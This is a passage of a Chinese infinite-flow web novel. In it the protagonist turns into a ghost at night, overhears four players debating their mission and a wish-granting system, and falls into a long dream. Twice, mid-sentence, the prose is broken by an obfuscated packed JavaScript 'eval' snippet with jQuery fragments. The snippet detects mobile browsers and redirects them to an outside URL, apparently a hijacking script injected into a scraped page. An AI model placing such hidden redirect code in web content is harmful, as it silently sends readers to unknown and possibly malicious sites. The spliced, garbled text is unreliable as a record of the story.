虽然平时江晏总在和啾啾插科打诨,但在这种关键时刻,江晏还是极为信任啾啾的。 再联系上啾啾的反应,江晏能猜到这事不算简单。 于是,堂屋里的四人看着江晏打了一个长长的哈欠。 没有人接话让他去休息。 其实也好理解,无限流世界里,玩家熬夜避免睡觉才是常态。 但此时江晏希望最好有个人能接话,让他去休息。 而不是江晏主动提出睡觉。 后者会自然很多。 安静的堂屋中,江晏在心里倒数数,五,四,三…… 最后是陈锦瑶打破了沉默,她对江晏道:“你困了?” 江晏一边在心里感慨小孩就是单纯且心善,一边回答:“嗯嗯,有点。” 他们一问一答,剩下的几人也看了过来。 宁时的目光在江晏身上扫了一圈:“这才几点你就困了?” 陈锦瑶指了指自己手上的表:“十点十二了。” 宁时转头看了一眼她:“……没有问你。” 陈锦瑶微弱地哼唧了一声。 康林叹了口气:“我们孩子心眼实,你别逗她。” 宁时摊摊手。 他又转头看着江晏:“你要睡觉去?” 宁时这问题可算是问到江晏心坎坎里了,江晏忙不迭道:“嗯,我去西边屋子吧。” 黄成钢此时也慢吞吞到:“你要头冲里睡。” 江晏:? 或许是他疑惑的眼神太明显,黄成钢解释了一句:“我们在炕上只能睡一个方向……不然脚和头会挨着。” “我反正不想把头朝外侧挨着窗户睡,你呢?” 黄成钢看了一眼宁时。 宁时在他的目光中点了点头:“有道理。” “我要可以睡中间。” 江晏:“嗯,会给你们留地方的。” 说完,他慢慢起身,不欲再闲聊了——毕竟他感觉身上越来越不对劲了。 江晏起身时已经感觉不到右腿的存在了,他踉跄了一下,真正实现了右腿绊左腿。 视线中,地面逐渐在放大,江晏甚至看清了不少陈年积灰,是刚才他们大扫除时没有清理掉的。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902349|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏:……不不不。 他才不要摔在这么脏的地面上啊! 就在此时,他的下坠停止了。 江晏低头,是一条胳膊紧紧地围在了他的腋下。 江晏再抬头,上方,是宁时没什么表情的脸。 …… 江晏就突然回忆起来上个世界,他们在学生时期扣扣搜搜住在旧小区里的日子。 北方雪天后的路难走,也是宁时把他扶了起来。 念及此处,江晏一时没有忍住,表情上带了一丝笑。 宁时开口了,声音有点冷:“你还陶醉上了啊,还不快点起来。” 江晏:“……不是,哥,我腿麻了。” 然后他清晰地听见宁时的呼吸粗重了点,可能是在克制揍他一顿的想法。 片刻后,宁时再开口:“腿还麻吗?” 江晏:…… 这才过了多久啊,才五秒钟好嘛。 于是他诚实道:“不行,还麻,我走不了。” 又觑着宁时的脸色,小声提议:“那你把我抱过去?” 宁时冷哼一声,气笑了:“想得美。” 江晏在内心翻了个白眼。 宁时却突然把他放回椅子上,自己背对江晏,蹲下了身,语气依然冷冷的: “胳膊不麻吧,伸过来,我背你过去。” 一瞬间,江晏的火气消失得无影无踪了。 他小声应了一声,伸出双手,从后面勾在宁时背上。 动作之间,不免蹭到了宁时的脖子。 江晏只听见宁时轻轻“嘶”了一声:“你手好冷。” 江晏含糊地嗯了一声,张嘴就来:“我在这里吃不好睡不好,营养不良,手冷。” 江晏不觉得自己在说瞎话,毕竟在刚刚结束的上个世界里,宁总还是把他养得很好的。 至于这个世界嘛…… 背着他的宁时笑了一声,站直了身子:“你这细胳膊细腿的,轻飘飘的” 江晏在他背上翻了个白眼。 宁时背着他,往西厢房走去。旁边康林也起身,一边打着手电筒,一边跟了过来。 宁时后背的温度渐渐透过布料传了过来,江晏感觉暖烘烘的,令人安心。 只是比起来记忆中的确实是更暖和了。 …… 宁时借着手电筒的光,嘟囔道:“你家怎么这么旧啊,都没有灯。” 康林站在门框,也道:“对啊,我们过来的时候看别人家都有电灯了呢。” 江晏:…… 他这个身份肯定有问题吧! 但在这种情况下,江晏只能一脸茫然道:“不知道啊,我一醒来就失忆了,然后就碰见你们了。” 康林无奈扶额。 此时,宁时背着江晏走到了炕边,把他放了下来:“那你先睡吧。” 江晏点头:“嗯嗯,晚安。” 宁时愣了一下,也回道:“晚安。” 说完,便和康林一起走出房间,还关上了那扇吱呀吱呀的木门。 来自堂屋油灯的光线被木门隔绝在外,西厢房在月色下,只能看到东西的轮廓。 江晏躺着,很是安详——短短的几分钟内,他整个人物理意义上的僵麻了。 他试图从床上起来。 使劲,身体不动。 再使劲,身体还不动。 再再使劲,欸?起来了? 江晏只觉得自己身轻如燕,想来可能是僵麻久了,物极必反。 然后他一低头,看到了躺在炕上神色安详的自己。 39. 阿飘 在毫无防备的情况下,突然看到自己的全身直挺挺地躺着,这画面太有冲击力了。 江晏抖了一下,脚下不稳,踩空了,眼看着要掉下去。 他在惊慌中匆忙地乱踩了几下,居然还真叫他稳住了身形。 江晏一边长长呼出一口气,一边想着,没摔挺好的,就是怎么感觉有点飘呢。 然后一低头,发出了爆鸣—— 他看不到自己的脚了。 再往上看,胳膊、躯干什么的,全都看不见了。 换句话说,就是江晏现在没有实体了,以阿飘的形态在床上飘着。 怪不得他会觉得脚下不稳呢! 飘来晃去的,能稳才怪。 江晏忍不住磨了磨牙,召唤啾啾:“这是怎么回事?” 啾啾从他意识海里蹦出来,以一种虚影的形式在江晏面前飘着:“这就是我建议你马上回房睡觉的原因。” 江晏:“……所以说你知道我会灵魂出窍这件事?” 啾啾又蹦哒了下:“我是根据你的表现猜到的。” “而且你这不叫做灵魂出窍,你现在就是一只鬼。” 江晏:? 他感觉天塌了。 剑修从前除了无数妖邪,没想到自己还有变成一只鬼的一天。 江晏眼前黑黑的,心里凉凉的,听着啾啾讲着: “你现在穿过来,让原身体的脸和你的本相有了几分相似。” “但是这个身体太瘦弱了,摸起来还体温不正常。” “啾,就想刚才宁时说的。” “再结合这个副本世界的背景,我就有了大概的猜测。” “有一种鬼可能因为种种天时地利的因素,会从没有实体,变为在白天可以凝聚出一个实体,实现在白天与常人无异的样子。” “但是等到了晚上,它们会失去对这个实体的控制,恢复鬼魂的形式游荡。” 江晏:…… 他看看啾啾,有看看躺板板的自己:“那所谓的这个身体是怎么回事?” 啾啾:“安啦,不是真的人,只是用力量凝聚出来的。” “不信的话你划拉他一下,不会出血的。” 江晏嘴角抽搐:“我现在都没有实体,拿什么划拉他……再说我划拉我自己干啥?就先这样吧。” 江晏在西厢房里飘着,试图熟练控制自己的阿飘形态。 他委实不适应这种鬼魂体。 江晏只觉得脚下轻飘飘的,地球的引力对他好像消失了一样。 就像是从来没玩过水的人,第一次去泳池,身体稍微一用力,整个人就不受控制地向上浮。 还浮得东倒西歪。 不过鉴于他现在是一只男鬼,倒了也不会受到什么伤害。 江晏叹了口气。 他一面控制着不住转圈的身体,在无意中把西厢房环视了一圈。 突然,他的余光注意到了什么。 西厢房昏暗的阴影里,似乎有什么东西在发光。 江晏一愣,随后扭过头看去,那是一个不足半人高的柜子,幽幽地发着白色的光。 这光的颜色很浅,刚刚被他晃见了,甚至可以说是意外。 但是江晏敢肯定,他和这四人一下午在西厢房里进进出出,从来没有发现这个柜子有什么不对劲。 ——那看来就是鬼魂体和实体的差异了,江晏想着。 他正在朝那矮柜走过去,此时,隔着木门,堂屋里又传来了悉悉索索的说话声。 江晏顿了顿,硬生生控制着自己换了个方向飘——飘向门口。 东西在这里放在,想来也不会自己长腿跑了。 但是四个玩家在进入副本的第一个晚上聊天,内容必定是和任务高度相关的。 错过了可就真错过了。 江晏决定先去听听他们在说什么。 他试探着向木门伸出了一根手指,戳了戳。 和想象中一样,他无形的手指下没有往常坚硬的触感,反而只感受到了一些钝钝的阻力。 江晏又试着把胳膊往前送了送。 那阻力的位置果然在原地不变。 江晏心下了然,现在他这是可以穿过门直接过去了。 这个时候,江晏反而开始庆幸自己在这个世界有这样的形态。 让打探消息变得……非常便利。 他听着门外的声音,闭上眼,把整只鬼往门上用力一贴—— 身体先是感觉沉了一瞬,随着又很快回复到刚才那种轻飘飘的状态。 江晏睁开眼,眼前是堂屋中油灯的光。 一种看起来暖洋洋的火焰色。 他不禁微微松了口气——很好,鬼魂形态的自己也不会很怕光,这让他之后的行动方便了很多,可喜可贺。 江晏又看向房中的四个人。 自从他这个“npc”离开后,留下的四个人全部都是玩家,他们看起来比刚才放松了很多。 康林坐在矮凳上,身子略微后仰,靠着橱柜; 陈锦瑶坐在她旁边,把一只手揣进了她兜里,面上带了一丝笑。 黄成钢干脆则是在不知从哪里找出来的席子上躺了下来,双手交叉放在脑后垫着,翘着二郎腿。 …… 江晏看向宁时。 他依旧是在那里坐着,只是把腿舒展了,看起来……腰细腿长。 江晏即便现在是一只男鬼,也不由得赞叹了一句——不愧是我。 瞧瞧这松弛感! 这在任何情况下都这么帅! 他看着这样的宁时,有想起上个世界的样子,在赞叹的同时,也不由得感觉他有点装模作样的。 明明对方什么狼狈的样子都见过了,结果在这个世界,又变成了这副人模狗样的样子。 明明知道时机不合适,但江晏难得起了些逗弄的心思。 他飘到宁时身边——是的,作为一个厉害的剑修,江晏学什么都快,现在他已经能够熟练地飘来飘去了。 宁时看起来毫无察觉,他只是静静地看着那油灯晕出来的光,单手托着腮。 江晏虽然明知道他看不到自己,但还是小心地伸出手在他面前晃了晃。 宁时不为所动。 江晏的胆子便打了起来。 他抬起手,换了个方向,伸向了宁时的头顶,狠狠揉了一把。 宁时进入副本世界时一同带进来的三七分背头依然整整齐齐。 江晏叹了口气,不好玩。 一双看不见的手下移,他又去戳宁时的脸。 江晏幻视着宁时的脸颊在他手里变成了小馒头,但一抬头,宁时的下颌还是微微紧绷着。 灯火从他的脸侧透过来,在鼻梁下打下一道阴影。 就算是江晏看习惯了这张脸,也晃了下神,放下了双手,飘在他身边。< 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“不是每家npc家里都是安全的。” 他话音刚落,康林开了口:“呃……我有另一个想法。” “危机和机会并存嘛,万一看着不对劲的npc家里不对劲的来源,刚好是我们需要的线索呢。” 康林此话一出,堂屋里又安静了。 在无限流世界里,她的话也颇有道理。 江晏看向还没有发布意见的两人。 黄成钢眼珠乱转,显然是在纠结。 陈锦瑶扶着额头,也是没了主意的样子。 最后,康林吸了口气,又道:“我们先看看情况嘛。” “明天去人多的地方打探打探消息,看看有什么地方是特殊的。” 宁时也抬头:“嗯,然后我们再做选择。” 如此,四个人便达成了一致。 陈锦瑶又开口了:“我真的像大学生吗?” 康林乐了,指指自己,又指指黄成钢:“那你看我们像吗?” 陈锦瑶:“……你像,黄哥……” 宁时不禁笑了。 黄成钢苦着脸:“你这孩子什么意思啊……” 康林哈哈大笑:“可真是个实在孩子!” 宁时也带着笑解释了一句:“妹妹,你就放心吧,我们的身份是来研究村庄民俗的学生,这是系统设定的,npc是不会发现的。” “即使是我们做了什么出格的举动,他们也只会觉得我们是癫癫的学生而已了。” 陈锦瑶看着放松了些,不再那么紧紧靠着康林了,她一边把手从康林口袋中拿出来,一边小声说:“这样啊。” 江晏看到康林眯了眯眼,又一把拉住了小姑娘的手。 江晏:…… 虽然不知道他们在做什么,但总觉得有点没眼看。 宁时好像看不见她们之间的小动作,神色淡淡:“是的。” “聊完了系统安排的表面身份,那就该让我们进入正题了。” 黄成钢不由得跟着喃喃道:“这个副本世界的任务。” 宁时看了他一眼,点了点头: “对,找到一百年多前新娘沈二二的死因,并把她最重视的发簪还给她。” 40. 任务 陈锦瑶小声嘟囔道:“让我想想,对,宁哥说的和任务原文一样。” “就是还少了后面一句,任务完成后,系统可以满足四个玩家四个愿望。” 黄成钢看起来有些意外,他对着陈锦瑶说:“你记性这么好啊,还扣字眼。” 陈锦瑶没有回答,只无语地看着他。 目睹了一切的康林:…… 她对黄成钢道:“人家正是做题的年纪,记得住题目很正常。” 有了这么几句闲谈,堂屋里的气氛放松了一些。 黄成钢依然躺着,边说着:“我们得先搞清楚这个沈二二是谁,家是这个村子的,还是外来的。” “不过我觉得应该就是这个村子的,如果是外边的人,可以涉及的世界面就多了,一个副本还不至于那么全面。” 江晏一面听着,一面想,这黄成钢虽然不招人喜欢,但分析得也有几分道理。 他又去抬头看宁时,宁时果然点了点头:“很有可能。” 接着又补充道:“我们还要找人问问这个村子的历史,最好是能去什么村史馆或者祠堂里看看。” 陈锦瑶弱弱的声音插进来:“我们怎么问?就说是我们课题研究需要吗?” 宁时赞许地点了点头。 陈锦瑶身侧的康林也顺手摸了一把她的头顶:“对呀,别担心,我们好几个人呢。” 陈锦瑶勉强笑了下:“……我只是有点紧张……” “这才是我经历的第二个世界。” 康林笑了:“我可是经过了九个世界的了。” 黄成钢又突然坐起来了:“不是,九个了?” 康林点点头。 黄成钢的声音有点崩溃:“九个还没有结束啊,那这什么时候是个头啊——” 感慨过后,他又扭着头看宁时:“……你呢?” 宁时:“……忘了。” 黄成钢嗤笑一声:“忘了?这事还能忘?” 宁时皱眉:“你爱信不信吧,我感觉也过了十来个世界了,自己没算过。” 他话音落地后,整个堂屋里又安静了。 刚刚好不容易攒起来的一点轻松,被对未来的无知冲散了。 过了一会儿,在江晏无聊到又去戳宁时脸的时候,陈锦瑶小声问:“不如我们想想任务结束后的奖励吧,放松点。” 宁时突然皱了皱眉:“奖励……不对,你刚才说的那个任务原文最后一句话是什么来着?” 陈锦瑶茫然重复道:“系统可以满足四个玩家四个愿望。” 在她重复完这次后,连康林和黄成钢脸色也变得不明起来。 江晏只听康林语气微妙:“愿望……之前我完成副本世界的时候,都说的是发一个奖励。” “刚才光顾着想任务了,居然没注意这句话。” 黄成钢也附和着:“气死了,那奖励有时候还什么用都没有。” “上次给我了和动物沟通的能力,结果下个世界全是机器人。” 宁时扶额。 与此同时,江晏也有点心虚了,他心中升起了一个猜测。 他对啾啾说:“……这变化不会是因为我来到这个世界了吧。” 啾啾不置可否:“算了,你别多想……” 此时,宁时说话了,神色随意,带着开玩笑的口吻:“你们说能不能许愿把这些副本关闭。” 他话音一落,四周静了静。 不仅仅是玩家们安静了,就连窗外稀稀拉拉的鸟叫都停了。 江晏此时感到了物理意义上的空气凝滞。 在他准备找啾啾问个明白的时候,他清晰地听到了一声电子音——滴。 江晏抬头,试图寻找声音的来源。 其实他也知道,这声音是找不到发出者的,毕竟,这是存在于这个世界的系统的声音。 他没见过这些东西,有些好奇,仗着自己现在没有实体,便坐在了宁时旁边,和宁时一同微微抬头,准备听那声音后续的动静。 那机械声开始说话了:“由于检测到玩家异常行为,副本暂停。” 黄成钢抬头斜了宁时一样,嘴唇动了动,但没有声音。 江晏能看出来,他说的是:“让你瞎说,满意了吧。” 宁时似乎也读懂了,他平静地扭过头,错开黄成钢的目光。 副本系统不管玩家之间的暗潮涌动,继续道:“鉴于对玩家的监控,我认为有必要对四位补充解释一下此次副本的不同。” 江晏用手撑起了下巴,准备看系统能放什么屁出来。 身边掀起了微弱的空气流,江晏用余光看到,宁时也换了个姿势坐着—— 他长腿交叠起来,双手抱在胸口,身子微微后仰,靠在了椅背上。 是一个防备且不在乎的样子。 系统继续说着:“这次副本任务完成后的奖励,换成了愿望。” “当然,不是什么愿望都可以的。” “不支持许愿副本世界关闭、许愿自己不会再进入副本世界等愿望。” 康林突然对天空比了个中指,又被她身边的陈锦瑶惊恐且手忙脚乱地按下去了。 江晏不知道是不是自己的错觉,那机械声似乎沉默了三秒,又继续道:“你们不用急着回归正常世界,等时机到了,你们参加了一定数量的副本后,就不会再进入了。” 康林掀开陈锦瑶试图捂她嘴的手:“一定数量是多少?” 系统高深莫测:“因人而异。” 康林这次没有比中指了,她翻了个白眼。 系统道:“我还是说说你们能许的愿望吧。” 它再开口时,声音轻柔了不少,带了丝丝引诱的意味:“你们可以向我许愿,突然变成百万富翁啊。” 它看不见的目光包裹在四个人身上:“……当然,可以让你很快解决掉职称问题。” “或者是娶一个合你心意的,嗯,美丽温柔的妻子?” “啊,还有我们的小朋友……以后一定希望能去顶尖学府读书吧。” “还有一个人……” 机械声突然沉默了。 宁时在三位玩家齐齐汇聚在他身上的目光中歪了歪头,露出一个疑惑的眼神。 江晏离宁时最近,他也凑热闹,看着宁时。 看着他长长的睫毛随着呼吸在颤动,又在油灯的光下投出一片扇动的阴影。 江晏第一次觉得这个没有留影珠和相机的副本世界这么糟糕。 那机械声居然抽风似的笑了,带着一种伪人的虚假和癫狂:“哈—哈—哈—” 宁时叹了口气:“系统,我就这么好笑嘛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902351|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听了宁时的声音,系统又瞬间恢复了正常语调:“我猜不到你的愿望。” 宁时挑眉。 机械声说:“本来在你刚进入游戏的时候,我能检测到你的愿望是拥有很多很多钱。” 旁听的江晏:…… 他难以置信,对啾啾道:“我在这个世界的愿望就这?” “怎么会这么俗……不对。” 啾啾做出了回应:“所以你现在是终于想起来,你在合江宗每个月的灵石是怎么花出去的——都用来保养攻玉剑了是吧。” 江晏虽然此时做了鬼,但还是干咳了一声,掩饰尴尬:“咳……这个世界他又不用修仙,哪里有什么费钱的地方。” 也许是隔空听见了江晏的心声,只听宁时点点头,承认道:“嗯,谁不喜欢钱呢。” 系统也嗡嗡响着:“是啊——可是现在,我检测不出来你的愿望了。” “在这个副本世界启动不久前,我们检测到了一股神秘的、不知道来历的能量波动……” 江晏:…… 作为那股神秘能量波动的来源,他很抱歉。 系统的机械声还在响着:“在能量波动之后,我们突然检测到了这个世界能量环境和以往发生了变化。” “说句题外话,再次提醒你们不要打着关闭游戏类似的主意。这种情况带来的能量变化极为巨大,可能你们自己也会被撕裂。” “但一直无法确定是什么变化,我们最终只能试图找一个让能量和从前基本一致的方法。” “执行部给出的方案是把你们的奖励换成许愿。” “——正如刚才所说,我们不知道变化的原因。” “但这是无数数据运行后得出的最优结果。” “这就是对你们好奇心的解答,满意了吗?” 四人面面相觑。 江晏看到宁时随手在空中挥了两下,问:“所以,你真猜不到我的愿望?” 这次他久久没有得到回应。 一屋子人外加一只鬼如此沉默了五秒后,宁时伸了一个懒腰:“它走了啊。” 康林撇撇嘴:“可真是个没有耐心的系统。” 陈锦瑶看看她,又看看宁时,犹犹豫豫道:“……它刚才说的东西,真的会实现吗?” 一旁黄成钢插嘴:“那肯定的啊,我们进入这个游戏已经是超现实了,实现个愿望有什么不可能的。” 康林背对着他摆摆手:“别带坏小孩。” 黄成钢:? 江晏只见康林又对陈锦瑶说:“是我个人觉得哈,所谓的愿望,就是放屁。” “之前从来没有的事,放在我们身上,万一出什么bug呢。” 她话音落下,一道清朗的男声响起:“还有,这个系统应该没有我们想象中的稳定……我的建议是,真到了许愿的时候,大家许一些可有可无的愿望。” 江晏看向声音的来源,是宁时。 听着这么一段话,江晏反而很想问他:那你的愿望呢? 隔着灵魂与□□,江晏听到宁时在这段发言后补充了一句:“说句题外话……我总感觉这个世界有什么东西跟着我。” 宁时微微抬起下巴,眯着眼扫视了一圈屋子: “这么喜欢跟着我,不考虑以后跟我出去看看外面的世界吗?” 41. 共枕 宁时话音一落,众人发出尖锐的爆鸣。 诸如黄成钢的“快闭嘴你在说什么瞎话”,康林的“哇唔你是怎么发现的是因为有什么不一样的感受吗”,以及陈锦瑶的“……这个世界有鬼难道不是一件很正常的事吗”。 江晏也在用鬼魂的形态发出无声的尖叫:“他发现我了?” 啾啾老神在在道:“没有。” “只是你们毕竟属于一个人,有算是进入世界初期,你们会产生强烈的灵魂共鸣。” “换句话说,宁时的第六感一直在告诉他,这个世界有人在关注他,有什么非常重要的东西。” 江晏“哦”了一声:“那看来刚才系统说的能量波动来源确实是因为我的到来了。” 啾啾小鸟啄米式点头:“对啊,你这只来自异世的蝴蝶,可是掀起来不小的风浪了。” 江晏:“……行吧。” 他看着靠在椅背上的宁时,感慨:“说起来,这个世界他怎么有种,有种……” 啾啾漆黑的眼睛中划过一道光,顺着江晏的话补充下去:“疯狗的感觉?” 江晏有点生气:“你这是什么形容啊,在公报私仇骂我吗?” “但是……” 啾啾继续平静补充:“但是疯狗真的很贴,不是吗?” 它用翅膀隔空点了点宁时:“在怀疑有脏东西跟着自己后,他第一个反应不是害怕,居然是打算和你在现实世界里面基。” 江晏干脆凑到了宁时身边,看着他瞳孔中跳跃的油灯火苗,一边道:“说明他心里有我,怎么了,吃醋了?” 啾啾:“……别打岔,我的意思是,一个身心健康的人不会这么找死。” 江晏奇道:“所以你就是为了提醒我,这个世界的宁时可能有点疯?” 在得到了啾啾的默认后,江晏无语了,他指了指屋子:“在这种无限流副本里,有什么毛病都是很正常的吧。” 啾啾:“……听起来是非常成立的理由呢。” 江晏在虚空中抚摸了一把鸟毛:“要是我带出副本世界npc的话,肯定还有别的理由。” “那就是……” 此时,一道女声响起:“说真的,你真打算试着把这个世界里的东西带出去?” 江晏循声望过去,看到康林按了按额角,神色疲惫,但眼睛发亮:“是打算看看这个世界的东西会在现实世界里变成什么样子吗?” 宁时“唔”了一声,没有正面回答这个问题。 康林没有在意他的态度,她从口袋里掏出来一根笔和一个硬皮本子,开始低头刷刷写东西。 目睹了一切的江晏突然想起了在上个世界做课题的时候。 虽然他现在没有实体脑子了,但有那么一瞬间还是感觉脑袋在疼。 江晏收回落在康林身上的视线,看向宁时。 宁时似乎感应到了什么,原本是低着头的他,微微仰起头,调整了坐姿。 这一下,江晏直接对上的宁时的目光。 宁时的眼睛是很标准的黑色,此时在屋子的灯火里显得是红棕色,看起来很深邃。 一瞬间,江晏甚至以为宁时看到了自己。 但宁时很快挪开了视线,他对着另外三个人说:“言归正传,我们明天的任务是……” 他的语速慢了下来。 陈锦瑶会意,并学会了抢答:“刚才说是去人多的地方打探打探消息。” 黄成钢也问:“一起去吗?” 康林:“你不看恐怖片的吗?分开行动怎么看都是送人头行为。” 黄成钢道:“白天有什么可怕的……” 声音却是渐渐小了下去。 康林不再理会他,她打了个哈欠:“那我们明天从这里出发,争取把整个村庄走一遍?” 宁时点点头:“好。” 陈锦瑶问:“一天的时间够吗?” 康林看着她,有些无奈:“不够也得够啊。” 江晏没听懂,问啾啾:“这是什么意思?” 此时,宁时居然说话了,虽然是对着陈锦瑶:“你才第二次进来,不知道也正常。” “一般每个副本世界都会告诉玩家一个时限。短则三天,长则十天。” “这种没有说明时限的副本,一般需要在七天完成任务通关。” 陈锦瑶点点头。 康林叹了口气:“打探消息一两天,找线索可能花更长的时间,更别提还要把发簪还给沈二二这件事了。” 宁时语气幽幽:“想来沈姑娘也不在这个世界上了,这可怎么还,在哪里还?” 旁听的江晏:…… 他突然想起了一个问题。 江晏问啾啾:“所以这个世界上不止有我一只鬼吗?” 啾啾反问:“无限流世界,你说呢?” 江晏感觉脑袋嗡嗡的:“真有啊……该不会真的是沈二二吧。” 啾啾保持沉默。 江晏看着这四个人,试图向啾啾提出建议:“呃……那不行我找到沈二二,把这堆问题挨个问问她?” 他得到了来自啾啾翅膀的拍击:“啾!你别给我找事!” “我说过的,这种乱七八糟的小世界里会有各种状况。” “现在你又是魂魄体,万一搞砸了,你魂魄那可就是伤上加伤了。” 江晏:“……” 他沉默了一会儿,觉得有道理。 便按下这作死的念头,继续听着几个玩家讨论。 康林道:“说到底,还是要先收集信息。” 宁时看着窗外的夜色:“那明天我们什么时候出发?” 康林看看他,又看看陈锦瑶和黄成钢。 黄成钢举起胳膊,用手比了个“9”的手势。 陈锦瑶见了,下意识摇头:“哥,有点晚了吧。” “九点我平时都上了两节课了。” 堂屋里的三人一鬼:…… 康林笑着拍了拍陈锦瑶的肩,对宁时道:“要么八点?” 宁时看着黄成钢。 黄成钢摊手:“八点就八点嘛。” 康林点头:“好啊,那我们可说好了,明天八点见。” 说完,四人便两两一组,回到了各自的房间里。 江晏便也跟着宁时飘了进了西厢房。 然后他就看到自己的壳子在床上静静地仰面躺着,睡得很安详。 江晏:……都忘了还有这事了。 他 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此时,宁时和黄成钢到了床前。 江晏闭着眼,听见黄成钢说:“我睡他右边,你睡他左边?” 宁时的声音平平的,没什么起伏:“不好。” 江晏惊了,他有点搞不明白宁时在想什么。 以他对自己的了解,宁时不应该是一个磨磨蹭蹭事多的人,尤其是在这种不算安全的情况下。 显然,等着睡觉的黄成钢也吃惊了:“那你说怎么睡?” 屋子里安静了两秒,宁时的声音又响起来:“这样吧,我睡中间。” 江晏:可是我现在就是躺在中间的啊? 还没等他思考明白宁时所说的睡中间是什么意思,便听到了一人动作间衣料摩擦发出的窸窣声。 接着有人碰到了他的腰和腿,带着火热的温度。 江晏:…… 他感觉那人托着他,让他整个身体在上升,在微微悬空中平移。 接着他又被放在了床上,不过很明显和刚才不是一个地方了,身下的被褥居然还有些温暖——还没有被他如今的体温捂凉。 接着,宁时的声音在江晏左耳边响起:“嗯,这样,我睡中间。” 黄成钢语气诡异:“你把他挪远干啥?” 江晏默默说,当然是为了离你远点了。 说实在的,他不喜欢黄成钢。 所以,宁时果然是个小天使啊,不愧是我,如此贴心。江晏美滋滋想着。 于此同时,宁时也开了口,尽管江晏听出了他开始满嘴跑火车了:“哦,是这样的。” “这个npc嘛,我不知道他有没有害。” “把他放中间,万一他半夜暴起,那刀我们不是左手一下右手一下的事?” “我经历的副本不少,把他放我旁边,我能控制住他。” “你好好休息。” 一片安静中,显然黄成钢被说服了。 江晏听见他犹犹豫豫,别别扭扭说了声:“啊……那谢谢了哈。” 42. 前尘 苍白的月光撒下,古旧的房间里,三个男人并排躺着。 黄成钢已经睡熟了,从平躺变成了侧着身睡,时不时发出一声鼾响。 宁时应该也睡了,江晏在他旁边,听着他的呼吸声越发变得悠长。 此景此景,若再去掉黄成钢的鼾声,便和他在上个世界,和宁时住在一起时一模一样。 虽然空间世界都不再一样了,可宁时还是睡在江晏旁边,在月色下发出平稳的呼吸。 好像不会有什么东西把他们分开。 江晏有点高兴,他能明白这不仅仅是来源于稳固分魂的进度越来越有盼头,而是还掺杂了其他什么内容。 但是江晏一时说不出来。 他只知道宁时的呼吸声应该是热腾腾的,因为江晏感到自己的心在被什么东西一点点填满,暖洋洋的。 这是剑修从前基本不会有的体验。 不同于他清清冷冷的住处,也不同于他炽热的灵力。 那说不出的东西只是温温的,也许想冬天晒太阳的猫。 …… 今天发生了太多事情,困意也渐渐包裹了江晏。 朦胧中,他想,如今用一个非人的身体,也会有这种暖洋洋的感觉吗? …… 不知过了多久,江晏突然感到身上很冷。 他睁开了眼,入目是一片茫茫白雪。环视四周,身后远处似乎有什么建筑,看起来颇为眼熟。 江晏突然意识到,他在做梦。 不知为何,江晏还想起了他和宁时在第一个世界时看过的某个电影,里面说过,人总是毫无察觉地进入梦境。 可是在上一个世界,除了刚过来的前几年,最后已经不怎么做梦了。江晏想。 他看着这熟悉的景色,又低头看看自己破破烂烂的衣服,和手上的食盒,最终艰难地回忆起情节—— 这还是那个漫长而连续的梦。 上次,是他在大雪中饿得受不了了,巧遇到一位小公子,给了他饭吃。 江晏便感受了一下此时的身体状况,还好,那种要饿死的感觉消失了。 他又掂了掂食盒,果然比想象中要轻。 看来梦境中这个不知名的小朋友躲过一劫。 他抱着食盒,看着这苍茫的天地,开始犯难: 这梦境倒像是一个养成游戏,他现在的任务似乎是操控小朋友活下去。 可是根本不知道背景怎么搞啊!江晏疯狂吐槽。 他看着面前没有方向的路,陷入了纠结。 江晏纠结了半分钟后,决定呼唤啾啾。 可在他喊了啾啾五次之后,依然没有那熟悉而聒噪的声音出现。 江晏愣了愣。 他突然意识到,啾啾是不会跟随他进入这个梦境的。而他从前没有发现,是因为之前在梦中没有找过啾啾。 这其实是一件很奇怪的事。 啾啾如今还和他的神魂绑定,这种处于纯意识的状态,一般啾啾是能和江晏的意识一起进来的。 除非他不打算带啾啾,或者根本没有想到还有啾啾的存在。 江晏想,这是不可能的。 但他现在又无法解决这个问题,干脆直接略过,继续面对天地纠结。 但是很快,江晏就不用纠结了。 因为他梦境中的身体,开始自己动了。 江晏:……行吧。 他便跟着这孩子走着。 走啊走啊,走到小孩的鞋子又穿坏了,走到食盒里三层糕点吃完了,走到雪地开始融化了。 江晏跟他走得都有些精神恍惚了,只感觉这次的梦境委实是过长。 他甚至怀疑,自己在梦里走了这几日,在外面的世界也不会过去几日了吧。 那怎么行——怕是宁时一行人副本世界都要通关了吧! 江晏试图挣扎醒来。 哦吼,挣扎失败。 他的灵魂好像被严丝合缝地卡进了这个小孩的身体里,异常稳固,任凭他怎么拉扯都不出来。 江晏:…… 算了,不挣扎了。 就目前梦境里的情况来看,虽然是跟着小孩过得苦了些,近乎流浪,但还没有生命危险。 这个想法一出,江晏便悲哀地意识到,如今自己被这个梦境折腾得要求已经如此之低了。 ……没办法,形式所迫,江晏心想。 他开始苦中作乐,研究起这个小孩行进的路线——这个梦太真实了,地图不会想他和宁时玩过的游戏,世界的尽头是看不到边际的海。 反而是和真实的世界一样,有数不清的官道、山路、小巷,也有数不清的男人、女人、小孩。 他走进了一条巷子,里面可能有乐善好施的糕点铺姑娘;他跟着一个书生做零工,书生可能让他背着自己的书箱,带着他赴朋友的宴席。 